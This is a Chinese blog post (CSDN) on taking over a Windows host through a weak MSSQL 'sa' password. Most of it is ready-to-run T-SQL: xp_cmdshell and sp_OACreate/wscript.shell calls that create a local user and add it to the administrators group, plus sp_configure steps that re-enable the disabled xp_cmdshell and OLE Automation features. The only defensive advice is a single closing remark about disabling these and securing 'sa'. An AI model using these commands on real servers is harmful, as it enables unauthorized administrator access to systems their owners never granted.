本文链接:https://blog.csdn.net/heng0413/article/details/6510797
利用SA弱口令入侵windows,其核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限。
MSSQL中存储过程分为三种,系统提供的存储过程,用户自定义的存储过程和扩展存储过程。
系统提供的存储过程是在安装SQLServer时创建的存储过程,名字以"sp_"开头。用户定义的存储过程是用SQLServer的使用者编写的存储过程。扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,与一般动态链接库不同的是它们直接运行在SQLServer分配的内存地址内,其中危险性最高的扩展存储过程就xp_cmdshell了,它可以执行操作系统的任何指令。
SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。如:
Code:
USE master
GO
exec xp_cmdshell ‘net user test /add’ --添加用户名为test的受限用户
exec xp_cmdshell ‘net localgroup administrators test /add’ --提升test的用户权限为系统管理员
exec xp_cmdshell ‘net user test /del’ --删除test用户
现在你应该明白为什么得到SA密码,就可以得到系统的最
高权限了吧。
下面就详细讲解下MSSQL利用SA弱口令的攻击和防范。
除了’xp_cmdshell’还有别的攻击方法么?当然有,在MSSQL中有一系列与OLE相关的存储过程,这一系列的存储过程同xp_cmdshell以及读取注册表系列的存储过程一样危险。这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。
Code:
DECLARE @shell INT --添加用户名为test的用户 如果目标操作系统为XP的话将winnt改为windows
EXEC SP_OACREATE ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,‘run’,null,‘c:/windows/system32/cmd.exe /c net user test 123 /add’
DECLARE @shell INT --提升test的用户权限为系统管理员
EXEC SP_OACREATE ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,‘run’,null, ‘c:/windows/system32/cmd.exe /c net localgroup administrators test /add’
先写这两种吧,呵呵估计心急的已经去测试了但是似乎忘了告诉你,MSSQL在安装时xp_cmdshell 和ole相关的存储过程默认都是关闭的
。
Code:
exec sp_configure ‘show advanced options’,1 --开启 show advanced options 1开启 0关闭
RECONFIGURE
GO
–执行完语句后,RECONFIGURE是必须的···
EXEC sp_configure ‘xp_cmdshell’, 1 --启用1 xp_cmdshell 0 禁用
RECONFIGURE
GO
EXEC sp_configure ‘Ole Automation Procedures’, 1 --启用1 OLE相关的系统存储过程 0 禁用
RECONFIGURE
GO
–ok,自己的测试完了不要忘记关掉,顺便给SA设个强大的密码,最好是把SA直接禁用,知道怎么进攻了,就应该知道如何防守,哈哈
————————————————
版权声明:本文为CSDN博主「heng0413」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/heng0413/article/details/6510797